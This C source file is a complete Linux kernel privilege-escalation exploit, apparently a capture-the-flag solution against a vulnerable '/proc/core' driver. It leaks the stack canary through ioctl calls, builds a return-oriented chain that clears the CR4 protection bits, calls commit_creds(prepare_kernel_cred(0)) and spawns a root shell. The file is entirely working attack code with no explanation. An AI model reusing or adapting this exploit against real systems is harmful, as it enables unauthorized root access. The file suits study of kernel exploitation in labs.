1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/ioctl.h>
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da #define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515 #define MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET 0xFFFFFFFF8106669C #define AND_RAX_RDI_RET 0xffffffff8102b45b #define POP_RDI_RET 0xffffffff81000b2f
size_t user_cs, user_ss, user_rflags, user_sp;
void *commit_creds = NULL, *prepare_kernel_cred = NULL;
void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_privilige() { void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); }
void get_root_shell() { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); }
puts("\033[32m\033[1m[+] Successful to get the root. " "Execve root shell now...\033[0m"); system("/bin/sh"); }
void core_read(int fd, char * buf) { ioctl(fd, 0x6677889b, buf); }
void set_off(int fd, size_t off) { ioctl(fd, 0x6677889c, off); }
void core_copy_func(int fd, size_t nbytes) { ioctl(fd, 0x6677889a, nbytes); }
int main() { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); save_status();
int fd; fd = open("/proc/core", 2); if(fd < 0) { puts("\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m"); exit(EXIT_FAILURE); } FILE *sym_table_fd = fopen("/tmp/kallsyms", "r"); if(sym_table_fd < 0) { puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m"); exit(EXIT_FAILURE); }
size_t addr; char type[0x10], buf[0x50]; while(fscanf(sym_table_fd, "%lx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break; if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = (void *)addr; printf("\033[32m\033[1m[+] Successful to get the addr of " "commit_cred:\033[0m%p\n", commit_creds); continue; } if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = (void *)addr; printf("\033[32m\033[1m[+] Successful to get the addr of " "prepare_kernel_cred:\033[0m%p\n", prepare_kernel_cred); continue; } }
size_t offset; offset = (size_t)commit_creds - 0xffffffff8109c8e0;
size_t canary; set_off(fd, 64); core_read(fd, buf); canary = ((size_t *)buf)[0];
size_t rop_chain[0x100]; int i; for(i = 0; i < 10; i++) rop_chain[i] = canary; rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET + offset; rop_chain[i++] = (size_t)0; rop_chain[i++] = (size_t)0; rop_chain[i++] = POP_RDI_RET + offset; rop_chain[i++] = 0xffffffffffcfffff; rop_chain[i++] = AND_RAX_RDI_RET + offset; rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset; rop_chain[i++] = (size_t)get_root_privilige; rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset + 22; rop_chain[i++] = (size_t)0; rop_chain[i++] = (size_t)0; rop_chain[i++] = (size_t)get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp + 8; rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x100); core_copy_func(fd, 0xffffffffffff0000 | 0x100); }
|